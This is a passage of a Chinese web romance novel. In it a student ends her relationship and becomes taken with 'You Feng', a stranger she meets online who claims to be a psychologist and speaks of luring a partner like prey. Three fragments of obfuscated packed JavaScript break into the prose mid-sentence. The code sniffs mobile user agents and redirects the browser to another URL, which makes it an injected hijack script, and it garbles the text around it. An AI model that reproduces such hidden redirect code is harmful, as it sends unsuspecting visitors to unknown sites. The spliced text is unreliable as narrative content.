魏琪似乎懂她的犹豫,说道:“哎呀~全麦的没加沙拉酱,很健康的啦!再说了你现在又不胖,九十多斤减什么肥?” 其实听到这句话,栗雨下意识很想反驳:现在长胖了,已经不是九十多斤了。 这几个月因为经常跟冯瑞一起到外边吃饭,而且经常是晚上,已经胖到一百斤,小肚子上的肉也越来越明显。 她咬牙减脂整整两年的战果在短短两个月之内反弹了四分之一。 她永远都忘不了那段几乎每天都去健身房、吃轻食、早睡早起、忍痛拉伸的艰辛日子,尤其是对她这种吃货来说,天知道她有多想吃螺蛳粉火锅炸鸡…… 所以,她怎么能就这么任由自己努力的成果功亏一篑?! 但她抬眼看到魏琪的笑容时,却错愕地愣住,拒绝的话怎么也说不出口,于是,她接过那半块三明治,说了声:“谢谢。” 魏琪一边大口咬着三明治,一边吐槽:“我真的要被那个大创折磨疯了,老师天天给一大堆修改意见,今天改明天改永远都在不停地改改改……好羡慕你啊小雨。” 她说话的神情很丰富,刚开始愁眉苦脸,但很快又舒展开,手里的动作也不停。 明明都是吐槽,却给人不一样的感受。 栗雨竟然被逗笑了:“羡慕我什么?” 她咬了一口三明治,浓郁的麦香在口中蔓延。 果然很健康,很美味。 魏琪托着腮思考了几秒,回答得很认真:“羡慕你时间自由,有自己想做的事。” 她坚定地点点头,随后叹了口气道:“我就只能随随便便保个研了。” 栗雨:“……” 这话听着是不是也挺气人的? 栗雨笑了笑。 不过,“时间自由”和“有自己想做的事”倒是真的。 她大一就发现自己喜欢创作,不论形式是怎样的,是小说、视频还是设计…… 她热爱这些,毋庸置疑。 所以,一直觉得自己很幸运。 细嚼慢咽吃完三明治后,栗雨戴起头戴式耳机,找了个舒缓的音乐听。 她最近在单曲循环《岁月里的花》,觉得莫文蔚的声音很治愈。 她一边感受音乐的熏陶,一边埋头写日记。 夜晚的宁静总是能让她迸发出无数奇妙的灵感,笔尖仿佛被施了魔法,在白色泛着些黄的纸上来回跳跃。 她的文字就像灵动的会发光的蝴蝶,扑闪着翅膀,在广阔无垠的天空中自由飞舞,将采集的花粉洒给风,洒给土地,洒给芸芸众生。 栗雨忽然想起《加缪手记》里的一句话:“必须去活,去创作。” 她奉为圭臬。 这一夜,栗雨很晚才上床,直到所有室友都从外边回来,直到寝室熄灯。 魏琪还调侃她,说她难得这么晚才睡。 栗雨伸了个懒腰,关掉桌子上的灯。 默声说:晚安。 世界重新陷入黑暗,她望向窗外,月光还是那么明亮,透过窗子照进了她的心里。 脱去一身疲惫,栗雨在床上褪去衣服之后,开始擦身体乳。 纤细修长的手指在白皙嫩滑的皮肤上来回游走,鼻尖萦绕着淡淡的椰子香气,她轻轻闭上眼,身体得到了极大放松。 睁开眼的一瞬,栗雨看到手机屏幕闪了闪,又是来自“绿洲”的消息提示。 她不知道为什么,“有风”这几天居然上线这么频繁。 栗雨勾了勾唇,在被子里迅速躺好,靠着小狗靠枕,开始认真跟“有风”发私信。 思来想去,她觉得还是感谢一下他比较好。 语言随着心情一同轻快起来。 【pinkcloud:谢谢您^^我已经跟他分手了。】 不知道是因为她刚好在他在线的时候私信,还是她的聊天框仍然停留在他列表上方,“有风”的回复速度依旧很快。 【有风:嗯。】 嗯……是什么意思? 栗雨看着“有风”的回复,前一秒还在勾着嘴角,下一秒就僵住了。 他好冷漠。 栗雨安慰自己,反正自己的目的已经达到了。 “有风”只是她互联网的精神食粮,仅此而已。 她打了个哈欠,刚想关掉手机躺下,却发现上方的对话框出现了“对方正在输入中……”的提示。 她愣了愣,他还有什么要说的吗? 栗雨盯着对话框发呆,可不一会儿,“对方正在输入中”这几个字又消失了,对话框里还什么都没有出现。 所以,他到底有没有新的消息? 栗雨身体往下躺了躺,开始时不时地犯困。 抱着手机等了大概一分多钟,对话框终于又弹出了新的消息。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932479|192831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >栗雨眼睛倏然一亮,困意好像全然消失了。 【有风:如果我没猜错,他应该会继续纠缠你。你内心坚定点就好,既然已经做出了决定,就不要回头。】 盯着这句话看了好几遍,栗雨眉头越蹙越深。 以她对冯瑞的了解,觉得他根本就不是“有风”说的这种类型的人。 毕竟之前他们刚热恋的时候,栗雨问过他:“如果有一天,我们分手了怎么办?” 她记得冯瑞当时的回答是:“那就各自安好,希望我的宝宝依旧能开心幸福。” 冯瑞自作主张的行为是很讨厌,但在他们恋爱期间,他一直很有分寸。 …… 她不明白,为什么“有风”能这么笃定地跟她说出这句话? 也完全不理解他为什么会这么恶意揣测冯瑞,甚至觉得莫名其妙,毫无依据。 而且,他跟冯瑞根本素不相识。 没有觉得,没有认为,没有似乎,也没有好像…… 如此坚定,坚定得让人不自觉的想要信服。 或许是因为冯瑞喝醉后的一些话暴露出了大部分男人的本性,所以栗雨现在对男人抱有一种极度的不信任感。 “有风”这种无端的猜测,让她觉得不太舒服。 好像一切尽在他的掌控之中,而她却浑身赤/裸,任他窥探。 她告诉自己—— 虽然她认为“有风”之前说的确实很符合现状,但不代表这次说的也一定准确。 她没有回复“有风”,也没把他说的话放在心上。 然后,直接关掉手机睡觉了。 /// 可是让栗雨出乎意料的事情还是猝不及防地来了—— 次日上午九点,栗雨被电话铃声吵醒。 她蹙着眉,迷迷糊糊摸手机,看了眼备注是陌生号码,于是果断挂断。 没过几秒,电话铃声再次响起。 栗雨决定接通:“喂,你好。” 冯瑞的声音从听筒传来:“宝宝,你还没睡醒吗?” 她不情不愿地应了声:“嗯。” “那就好,吓我一跳。我还以为你真的不愿意理我了,联系方式都拉黑了,重新加你微信你也没通过。” 栗雨眉头蹙得更深:“什么?” “对不起,我昨晚酒喝多了,脑子有点不太清醒。” “我知道是我错了,宝宝原谅我好不好?” 栗雨睁开眼。 许是昨晚睡得很好,她今天心情还不错,难得心平气和地说话:“冯瑞,我们已经分手了。” “我知道宝宝不是真心想跟我分手的……” 栗雨不假思索地打断:“是认真的。我本来今天也想跟你说,只不过提前了。” 对方明显停顿了几秒,但这并不影响他的自大:“别闹了宝宝。你明明喜欢我,究竟为什么?” “我昨天已经解释过了。” “宝宝,我们能不能再见一面?见一面好不好?” “……” 栗雨觉得冯瑞可能昨晚醉意上头,没听清她具体说了什么,所以打算当面跟他解释清楚,然后彻底划清界限,从此桥归桥路归路,不复相见。 栗雨说了个:“好,地址发我。” 然后直接挂断了电话。 一分钟后,冯瑞通过短信发送了一家餐厅的地址。 栗雨愣住,竟然还在校外。 不过,她懒得多问,反正也无所谓。 她想着,就最后一次,体面地吃完彼此的最后一顿饭也好。 5. 有风 下午六点,栗雨准时赴约。 冯瑞今天穿得很正式,头发似乎还刻意打理过。不得不说,他长得还算不错,五官周正,宽肩窄腰,不仅学历过关,而且家里也有钱,还有点恋爱脑。 她到餐厅时,冯瑞正坐在座位上等她。 桌上摆满了她爱吃的各种美食——牛排、意大利面还有一些色香味俱全的小食等等。 在送礼物和请客吃饭这方面,冯瑞一直很大方,记得她说过的每一句话,记得她喜欢吃什么,有什么忌口。 同样,也给她无微不至的关心。 栗雨回想起从前的种种,不自觉开始心软。 分手恶魔和善良天使似乎谁都占理。 她闭了闭眼,脑海里突然闪现“有风”说的话。 他告诉自己要内心坚定。 对! 一定要内心坚定! 栗雨猛地睁开眼,深呼一口气之后,径直走过去。 她不想多说,直接落座。 没想到,她一坐下,就看到冯瑞一脸兴奋地从背后拿出来一个精致的小盒子,递到她面前。 “宝宝,这是我给你买的项链,看看喜欢不喜欢?” 项链确实很漂亮,而且价值不菲。 蒂芙尼的openheart系列。 栗雨加购物车很久都没有舍得买。 爱情就像奢侈品,对于部分人来说是锦上添花。 可倘若内心荒芜,这些表面看似光鲜华丽的东西展现的只不过是价格标签上的数字而已。 哪怕再贵重,对她自身而言,也毫无价值。 栗雨低头看了眼项链,只一眼,视线就移开。 她淡淡开口:“冯瑞,我想你应该清楚,我今天过来是跟你分手的。” 冯瑞不为所动:“我知道你只是一时气话。” “并不是。” 他似乎被栗雨认真的样子吓到,把项链收回去,盯着她愣了会儿。 末了,还是带着调侃的语气,笑道:“好了宝宝,差不多得了,闹脾气也要有个限度,再这样我可不哄你了哦。” 以往冯瑞调侃她时,她都会撒娇或者做鬼脸。 但现在,她依然保持镇静:“冯瑞,难道你还看不出来,我是认真的吗?” 他似乎终于开始相信,眼眸里带上几分失落:“宝宝,可是我真的很喜欢你。” 这是第不知道多少次冯瑞说喜欢她了,以往栗雨从来没有问过为什么。 突然的防备和警惕让她开始好奇起来,短短两个月的相处,他到底能喜欢上她什么? 于是,她问冯瑞道:“喜欢我什么?” 对方只想了会儿,很快说:“哪里都喜欢,你的眼睛很大很漂亮,皮肤也很白,还有穿的衣服类型我也很喜欢,萌萌的很可爱。” 喜欢她的眼睛、皮肤、衣服…… 大千世界,这样的女生这么多,怎么定义这种喜欢? 怎么判断冯瑞喜欢的人就是栗雨? 她是独一无二的。 不想做谁的替代品。 栗雨无动于衷,开始觉得下头:“你描述的这类女生应该有很多。” “可是我就只有一个宝宝。”冯瑞笑笑,“好了不说了,先吃饭吧。” “都是宝宝喜欢吃的,多吃点。” 说完,冯瑞开始自顾自地像之前那样给栗雨夹菜。 栗雨没动,仔细回想了“有风”说的话,突然彻悟。 太对了!简直太对了! 她开始明白,不论她说什么,说多少次分手,说多少次不喜欢,冯瑞还是不会相信,只会觉得她在闹脾气,在吸引他的注意。 按照以往,在冯瑞对她撒娇的时候,她肯定就已经缴械投降了,所以,一直跟他纠缠不清。 表面上,冯瑞考虑全面,处处体贴,但实际上,他永远自以为是,让她为他妥协。 昔日的温馨瞬间化为齑粉。 栗雨看着面前他点好的美食,尽管都是她平常喜欢吃的,但香味入鼻,竟然让她有点恶心反胃。 周围的空气也压抑非常,与暖黄色调的餐厅氛围格格不入。 她开始觉得胸口很闷。 栗雨也不知道自己为什么这么做,但她反应过来时,已经拿着包站起身,毫不犹豫地朝门外走了。 当推开门,呼吸到第一口新鲜空气的时候,她知道,自己做了一个冲动却十分正确的决定。 没走几步,冯瑞追了上来,拉住她。 栗雨直接条件反射般地把他的手甩开,朝他大喊一声:“别跟着我!” 许是从来没有见过栗雨这么凶的一面,冯瑞显然一愣,错愕地看着她。 栗雨用倔强的目光回应着,决定再耐着性子说最后一次。 “冯瑞,我是认真的,我们真的分手了!” “别再来找我了!” 她微微喘着气。 原以为能跟冯瑞和平分手,两个人还能做好朋友。 没想到却是用这样的方式。 喜欢已然消失殆尽,现在连陌生人都算不上,只剩厌恶。 从前,她以自我为中心画出的用来保护自己的小世界,已经完全把冯瑞隔绝在外,并收回了让他再次入场的权利。 栗雨突然觉得自己已经消耗了全身的力气,很累很累,仿佛下一秒就要倒下。 但不知道哪里来的神奇力量,让她转过身。 开始毫不犹豫地朝着无尽的远方飞奔。 此时,临近傍晚,落日点缀在天边一角,把大半边天都染成了迷人的橙红色。 街道车水马龙,被道路两边红色的枫叶覆盖,像一幅缓慢流淌的油画。 她踩在一片又一片的落叶上,周围时不时有枫叶从树上随风落下来。 落在车顶,落在地上,落在她心里。 …… 她从一条陌生的街道跑到了另一条陌生的街道。 周围的建筑完全不同。 可街道还是熟悉的、被红色枫叶覆盖的、车水马龙的街道。 世界总在变化,有人长情。 她心中的理想从来没有变过。 就停驻在那里,愈发闪耀。 /// 不知道跑了多久,栗雨终于停下来。 短暂的剧烈运动让她不得不弯着腰大口喘气。 之前预想的不习惯和不舍得并没有到来。 分手竟然太爽了! 如果不是怕影响别人,她简直想大喊一声:太爽了! 简直太爽了! 她感觉到前所未有的兴奋。 这种兴奋很独特,像特调的鸡尾酒,是余味无穷且独一无二的。 兴奋的内化让她渐渐冷静下来,呼吸趋于平稳。 片刻后,栗雨直起身体,开始仔细观察自己所处的位置。 这里似乎是一条文化街,旁边有各种小的文创店和杂货店。 周围人群络绎不绝。 道路尽头好像还有一家医院。 栗雨一愣,她这是跑到哪里来了? 前方不远处恰好有一个公交站。 她心血来潮,缓步走过去。 车辆来来往往,鸣笛音混着尘土和风,散在空中。 栗雨单肩挎着帆布包,双手插在米白色的大衣兜里,百无聊赖地左看看、右看看。 枫叶伴随着风轻轻飘动着,天色渐渐暗了下来,昏黄的路灯像一望无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932480|192831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽的大海,直到天的尽头。 等公交车的人越来越多了。 还有一对约莫花甲的老年夫妻坐在座位上,老奶奶的脑袋搭在老爷爷的肩膀上。 两个人嘴角都挂着笑容。 十分温馨。 忽然,她似乎瞥到左手边,离她大概三四米的位置,有一个穿着黑色风衣、蓝色牛仔裤和棕色马丁靴的男人。 他身形高挑,挺拔如松,耳朵里插着有线耳机,背着棕色的双肩包,正双手插兜,抬眼看向远处。 男人的皮肤很白,看侧脸,似乎有点帅。 这种帅是不同于冯瑞的帅。 冯瑞的帅带着点稚气,而他的帅很有味道,是历久弥新的帅。 栗雨没忍住多看了他几眼,在依依不舍地准备收回目光的时候,谁料,男人忽然转头。 目光轻轻的,就这么轻轻的,与她的视线在空中交汇。 栗雨倏然瞪大双眼。 世界寂静无声。 突然,一阵风起。 /// 如果浪漫可以用画面形容,那是不是可以用相机记录此刻的满分答卷? 如果世界上真的存在惊鸿一瞥,那这样的一眼,是不是也可以算得上一眼万年? 他那张有味道的、仿佛又带着些忧郁的脸就这么完好地出现在栗雨的视线里。 没有遮蔽,干净简单,不含杂质。 柔软的棉花在心尖挠痒,瞬间的怦然心动让栗雨不自觉地跟他上了一辆公交车。 不知道是不是因为现在是下班晚高峰,公交车上人很挤,他们都没有座位。 以栗雨的身高和力量,只能被人一路挤着,就这么恰好的被挤到了男人身边。 她一踉跄,手指不小心触碰到了他的黑色大衣。 羊毛质感的,很柔软。 栗雨触电般收回自己的手,赶紧站稳,紧接着察觉到自己的心开始剧烈地跳动。 她的脸也有些发烫,根本不敢扭头看旁边的人,只好盯着窗外发呆。 栗雨仔细回想刚刚的场景,准确来说,是回味。 可男人的脸突然开始变得模糊起来。 她有些懊悔,自己怎么会有这么差的记忆力?不然肯定会把这张脸好好在脑海里珍藏着,每天都拿出来温习几遍。 不知道过了多久,男人好像准备下车了,栗雨看到公交站旁边有一家书店,于是跟着他一起下车。 等想再看他一眼的时候,发现他早已消失在人群里,不见踪影。 像一阵风,像一场梦。 不留痕迹。 栗雨颇为遗憾地来到了这家名叫“邂逅”的书店。 她一进门,看到加缪的书就摆在离门口最近的书架上。 她心里一喜,拿起一本开始翻阅。 虽然这套书栗雨已经看了不下三遍,但一直都是用墨水平板在微信读书看的,还没有来得及购买纸质版。 不得不说,当她用手托着有些重量的书,在纸香弥漫的氛围中阅读的时候,确实更有感觉。 如果能再来点咖啡和面包的话就更好了。 可惜现在是晚上。 翻看了会儿,栗雨果断拿起一套未拆封的《加缪手记》,直接去收银台结账。 收银的是个扎着丸子头,戴着黑框眼镜,圆脸大眼,看着很可爱的小妹妹,看样子似乎是高中生。 小妹妹一边扫码,一边笑嘻嘻地说:“姐姐,你真的太有眼光了吧。这套书卖得很好,前几天我小叔叔也拿了一套。” “是吗?”栗雨笑了笑,开始禁不住幻想。 那“有风”的家里也会有同样的一套《加缪手记》吗? 他会把它摆在哪个位置呢? 6. 有风 想起“有风”是一件很自然的事,自然到他好像早就已经融入栗雨的生活。 只可惜,她不知道“有风”下次上线是什么时候,也根本无法预测。 栗雨坐上回学校的公交车时,已经是晚上九点。 车厢空荡荡的,她径直走到后边,坐在离门最近的那一排,选了个靠窗的位置。 没过几站,整个公交车上的乘客,就只剩下她自己。 栗雨打开手机,发现“陌生号码”还在接连不断地给她发短信。 她不得已发出警告,并再次拉黑删除。 然后,她戴上蓝牙耳机,开始听舒缓的轻音乐。悦耳的钢琴音从听筒传来,她一点也不觉得孤独。反而有种淡淡的幸福感,让她的大脑放松下来,开始细细回想这几天发生的事情。 她跟冯瑞相处两个多月的时间都没有探索出他的全部,而“有风”仅仅通过她的三言两语竟然能推断出冯瑞这么不为人知的一面。 …… 栗雨不得不对“有风”肃然起敬。 神奇。 天底下怎么会有这么神奇的事?! 她突然间觉得用“恶意揣测”这几个字来形容“有风”是一件多么错误的事情。 明明,他这叫“未卜先知”! 不过,转念一想,她又开始好奇起来。 究竟他是怎么猜对的呢? 想到这儿,栗雨嘴角渐渐勾起来。 /// “好奇心”是个奇妙的东西,它会勾起人的探索欲望。这样可能就会在不知不觉中,发生一系列奇妙的事情。 比如此刻,栗雨一回到寝室,就迫不及待地打开“绿洲”,并且目的明确地点进了跟“有风”的私信聊天。 她又把“有风”发的回复翻出来,开始从头到尾仔细研读。 读到最后,不禁连连赞叹。 “有风”的文字简直一针见血。 短短几句话内,又有安慰,又有分析,又有建议…… 没有一个多余的标点符号,字字珠玑。 就像一篇一气呵成的文章,一首让人忍不住回味的诗,简直惊为天人,让人拍案叫绝! 对话停止在“有风”最后那句建议的话上。 昨天,栗雨由于不服气和不信任并没有回复他。 她一阵后悔。 毕竟是她有求于人,而且“有风”的回复这么诚恳,她如此视若无睹,会不会有点不太礼貌?! 要不要现在回复他? 想法一冒出,她没有再纠结,心里很快便有了答案。 “想”只是简单地化为了动作,好奇心驱使着她,让她卸掉一切包袱。 尽管“有风”现在并不在线,她也不确定自己还会不会收到回复,可她如此果断。 手指在粉色的樱桃小狗键盘上飞快敲击着,再度燃起来的兴奋感让她忍不住多说了几句。 【pinkcloud:谢谢您的提醒,您的判断很对。】 【pinkcloud:我也没有再理会他的纠缠。】 【pinkcloud:您太厉害了!我跟他认识了两个月,竟然完全没看出来他居然是这种男人。】 【pinkcloud:总之十分感谢您!感恩的心.jpg】 栗雨突然想用世界上一切美好的形容词来形容他。 可最终,只能干瘪地打出来“太厉害了”“感谢您”这种话。 跟“有风”发完信息,她忽然觉得心里一块重重的大石头落下来了。 她把手机放在一边,换好睡衣和拖鞋,然后简单收拾了下自己的书桌,又给《加缪手记》找到了合适的归宿——就在她抬眼能看见的书架上。 可就在这短短的几分钟内,“有风”的回复就这么美妙地弹进了他们的对话框。像一场突如其来的美妙邂逅,让人心旷神怡。 【有风:只是凑巧。有时候也不是完全正确。】 啊啊啊啊啊啊! 他回复了! 栗雨在心里尖叫。 看到他的回复,她再次觉得自己的想法到底有多么荒谬! “有风”也太谦虚了好吗! 栗雨勾唇笑着,她沉浸在激动中,手不受控制地继续打字—— 【pinkcloud:不过,我很好奇。能问问您这么猜的依据是什么吗?】 对方的回答言简意赅。 【有风:很简单,观察。】 栗雨疑惑。 【pinkcloud:观察什么?】 【有风:通过你的语言文字,包括主页动态,观察你的认知、情绪和内心世界。】 栗雨:!!! 认知、情绪、内心世界……他的回答好高级! 他的语言怎么这么美妙,这么赏心悦目! 不过,仅仅通过语言文字和主页动态就能观察出来吗? 栗雨觉得她的文字也没什么特殊之处。 至于主页动态……她退出私信界面,点进她的主页。 她主页的风格跟“有风”的完全不同。 如果说“有风”的主页是极致简约风,那她的主页就是极繁复杂风。 背景是小狗躺在樱花树下晒太阳的一张插画图。 头像是昵称“pinkcloud”对应的卡通版粉色可爱云朵。 简介是一句自己给自己打鸡血的话——“勇敢小云,不怕困难,冲鸭冲鸭冲鸭~~~”后边还跟了一串颜文字:(★^O^★)(~v~)(^-^)…… 标签也带了一大堆,除了年龄学校性别,还有“INFJ”“天秤座”“选择困难症”“写作”“健身”“阅读”“音乐”“美食”等等等。 动态更不用说。 虽然一共只有几十条,但有三分之一的动态都是上百字的小作文…… 其中有三条是吐槽冯瑞的。 栗雨瞪大双眼,原来自己竟然有意无意地透露了这么多吗? 那“有风”是把自己的动态全部都看完了? 啊啊啊他竟然看了自己的动态! 栗雨再次被奇妙的感觉包裹,好像化学反应在催化剂的作用下,完成了最终的配平。 心里仿佛有几只小鹿乱撞,栗雨捧着手机傻笑。 他好认真、好严谨。 不过突然,她发现了华点! 翻着翻着,栗雨发现其中有几条动态是她在自己的经历上经过艺术加工的,并不是完全准确。而且还有一大半的动态,她写的都很朦胧,并且东扯扯西扯扯,像是随着大脑意识写的,没有任何逻辑可言。 虽然很惊喜,但是栗雨仍想要提出质疑—— 【pinkcloud:仅仅靠线上聊天就可以做到吗?】 【有风:我认为可以。】 【pinkcloud:可是,人总是会伪装的。我也会隐藏自己的想法,并且会对语言文字进行艺术加工。】 【有风:开始确实会存在这种情况,但很少有人会时刻保持隐藏的状态,这取决于对讨论话题的认可度。】 【pinkcloud:咦?】 栗雨不太明白,他所说的“讨论话题的认可度”究竟是什么意思。 但很快,他给出了解释。 【有风:比如,假设我现在要求你发一张你的照片给我,你可能会拒绝,并且保持警惕,甚至会在心里骂我猥琐男。即使你真的要发,也肯定会用假照片来搪塞我。】 栗雨眨了眨眼。 他好懂她!预测太准了! 嘴角笑意更深,她更加好奇,继续发问。 【pinkcloud:那通过您的观察,觉得我是一个怎样性格的人?】 在她发出消息后的瞬间,上方便出现了“对方正在输入中”的字样。 他似乎对回答她的问题游刃有余。 【有风:你喜欢钻牛角尖且思虑过多,说白了就是纠结型人格。你的快感来源于精神,而非物质,比较倾向于寻找灵魂伴侣。】 纠结型人格,这个确实是。 天秤属性的她,有重度选择纠结症。 至于快感来源,比起物质,她确实更喜欢寻找精神的共鸣。 而灵魂伴侣……这点她也说不准。 其实,栗雨从小就对感情比较懵懂。 高中有一个男生追她半年,最后不了了之。高考毕业后,还是同桌告诉她那个男生一直在追她,她才勉强反应过来。 所以,栗雨母胎单身很多年了,冯瑞还是她的第一任男朋友。 他们的认识也源于巧合——在食堂吃饭的时候,他们点了一样的饭。冯瑞不小心把她的那一份当成自己的那一份吃了,后来加了微信,渐渐熟络。 栗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932481|192831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨若有所思。 “有风”的消息接踵而至。 【有风:所以,你无论接触谁,哪怕对方再厉害,当时都不会高看他任何一眼。只有从这个点入手,慢慢攻破你。如果方向错了,就没结果了,他会慢慢让你厌烦。】 【有风:跟你在一起,不需要花里胡哨的东西,也不需要十八般兵器,而是需要你来我往这种交流式的思想碰撞,节奏不能快。】 【有风:很明显,你那男友属于物质奉献大于精神奉献。并且,他很着急,对你的身体有依赖和渴望。】 看完他的分析,栗雨目瞪口呆,愈发觉得简直不可思议。 【pinkcloud:这是怎么判断的?】 【有风:如果我没记错,你在上个月的其中一条动态里,反复提到他有抱你、跟你贴贴的想法。】 完全正确! 说实话,栗雨自己都没有把这种事情放在心上。她以为,冯瑞就只是嘴上说说,根本没有往深处去想。 “有风”在她心里忽然神圣起来。 大神!简直是大神! 不仅记忆力这么好!而且分析独到! 栗雨已经在心里发出土拨鼠尖叫了,她觉得自己的兴奋程度已经快要达到阈值。 尽管她也想不明白为什么跟“有风”聊天会这么快乐。 可能他是上天专门为她定制的兴奋剂吧,栗雨想。 【pinkcloud:简直太对了!!!】 她忍不住发了三个感叹号。 【pinkcloud:他确实是你说的这样。我现在才反应过来,他之前跟我说过他的占有欲很强,还经常跟我说,类似“你只是我的”这种话。】 “有风”又回答了个“嗯”,然后接着说—— 【有风:他的行为是占有欲强的外在表现。如果占有欲强且性格内敛的话会想更多的办法吸引你。】 【有风:我认为占有欲强最完美的状态是思考如何把自己占有欲强的外在表现转移到对方身上。】 【有风:其实大家都学过一个词,欲擒故纵。】 栗雨一字一句看完之后,简直想跳起来尖叫。 原来跟人共鸣是这种感觉! 她有一瞬间觉得,“有风”似乎比她自己还要了解她自己。 末了,她忍不住问—— 【pinkcloud:如何把自己占有欲强的外在表现转移到对方身上?】 “有风”很快回道—— 【有风:散发魅力,吸引你靠近。】 【有风:任何事情都是有节奏的。诱捕猎物也需要提前规划,设置陷阱和双方交锋。】 【有风:只有节奏把控好,对方才有欲望进行下去,同时还会对“将来”出现幻想和期待。】 【有风:但有一点也要注意,在接触的过程中一定要细心观察。如果对方明显犹豫或者频繁拒绝,就需要自我思考。】 栗雨开始看得云里雾里,但她没有再质疑“有风”的话,反倒随着他的语言下意识去思考。 她还没发现自己真的很容易这样做。 或许是因为“有风”的文字很容易引人遐想,所以她忍不住开始幻想起来:这个世界上有这么一个男人,他像一阵风,突然闯入她的世界,倾尽一切地只为她而来…… 多么美好又伟大的爱情!就像言情小说里的浪漫邂逅一样。 对感情懵懂的栗雨实在对自己到底喜欢什么样的男人太过好奇,毕竟她曾经一度认为自己不会喜欢上任何类型的男人,也认为迄今为止,身边没有一个男人能够吸引到她。 于是,她问道—— 【pinkcloud:那究竟对方怎么做才能吸引到我呢?】 “有风”似乎停顿了一会儿。 栗雨想,不知道是不是因为她的问题太难回答。 就在她思绪想走神的时候,“有风”的新消息突然闯入对话框。 【有风:我这不是正在告诉你么?】 栗雨一愣。 正、在、告、诉、她? 什么意思? 他这副一切尽在不言中的样子,让栗雨持续懵懂。 她不知道发什么,挑了一个“脸红”的emoji。 【有风:当对方一直跟着我的节奏,对我表示认同的时候,那她离做我的女朋友就不远了。】 7. 有风 跟“有风”聊天是什么感觉呢? 像在一个精心布置的餐厅,品尝一块小巧美味的慕斯蛋糕,甜而不腻的奶油在嘴里融化,混着饼干的香脆和果酱的余韵,味觉蓓蕾得到迅速升华。 栗雨沉浸其中,连魏琪什么时候回来都没有发现,直到她突然拍了拍自己的肩膀。 她身体一哆嗦,下意识转头问:“怎么了?” 魏琪朝她眨了眨眼:“小雨,明天需要帮你带早餐吗?” 嗯?栗雨愣了会儿才反应过来,明天周一,又是早八。 她这段时间都是起床之后手忙脚乱地收拾,然后掐着点到教室,来不及吃早餐。恰好魏琪起得很早,每次都帮她带。 一开始栗雨觉得不好意思麻烦她,奈何她实在是热情得让人不忍心说出拒绝的话…… 不过明天,栗雨已经想好要吃什么了。 上完课,她要找个安静又舒适的地方,一边阅读《加缪手记》一边品尝咖啡和贝果。 栗雨笑道:“谢谢,不过明天不用啦!” 魏琪比了个“OK~”的手势。 /// 栗雨再次盯着“女朋友”这三个字发呆,开始幻想如果跟“有风”谈恋爱会是一种什么样的感觉呢? 他会喜欢哪种类型的女孩子? …… 在此之前,栗雨从来都没有发现自己居然也是“感觉至上”。 不过她还是有分寸的,不会冒昧到直接开口问一个陌生人的隐私问题。更何况,以她的性格也不会随意跟别人开这样的玩笑。 但她实在太好奇了,好奇到简直想不遗余力地得到“有风”的个人简历,甚至是从出生到现在的人物传记,一个字一个字的仔细欣赏,来回品味,全文背诵,直至掩卷之后倒背如流。 栗雨从来没有这么想了解一个人,于是,她决定退而求其次。 【pinkcloud:可以冒昧问下您的职业吗?】 对方似乎不觉得她的问题冒昧,几乎秒回—— 【有风:心理医生。】 竟然是心理医生啊! 栗雨有点震惊,震惊过后又觉得颇为合理。 怪不得这么懂“观察”。 直觉告诉她,“有风”一定是个大学霸。 那……他的咨询费应该很贵吧,却被她白嫖了这么久,栗雨在心里偷笑。 但下一秒,她直接傻眼了。 【有风:我的咨询费挺贵的,所以你打算怎么支付?】 啊~支付! 栗雨盯着“有风”的新回复,笑容瞬间凝固在嘴角。 刚刚的小得意已然消失得无影无踪,觉得自己的一腔热情被泼了一桶冷水。 但栗雨并不是是非不分的人,收了别人的好处,自然是要给报酬的,这点倒也合理。 不过,她应该怎么回呢? 微信、支付宝还是银行卡? 而且,她占用了他不少时间,万一太贵,她会不会支付不起? 栗雨抿了抿唇,还没等她想好到底怎么回,“有风”的信息弹来。 【有风:你是学生?】 栗雨有点讶异“有风”还要确定这点,毕竟她的主页有自己的学校标签,而且还在这么醒目的位置,以“有风”的观察力不可能没有注意到,但她没有多问,还是老实回复。 【pinkcloud:是的。】 【有风:学生的话,记账也可以。】 【有风:日后有机会再支付我报酬。】 日后有机会…… 栗雨不禁哑然失笑,谁知道他们还有没有日后? 她决定先答应下来。 【pinkcloud:好的。】 【有风:嗯。既然你已经做出决定,现在只需要放下,继续好好生活就行了。】 放下,然后好好生活…… “有风”的话题转换得如此自然,栗雨的思绪禁不住飘向远方。 她开始畅想自己未来生活的样子,然后问自己,她真的可以吗? 这句话更像是对她开始这个话题的最后祝愿。 栗雨发了个“谢谢”的表情包,很识趣地结束对话。 然后,关掉“绿洲”。 她看了眼时间,才发现现在已经晚上十点半了。她居然跟“有风”聊了整整一个小时,甚至还觉得意犹未尽。 /// 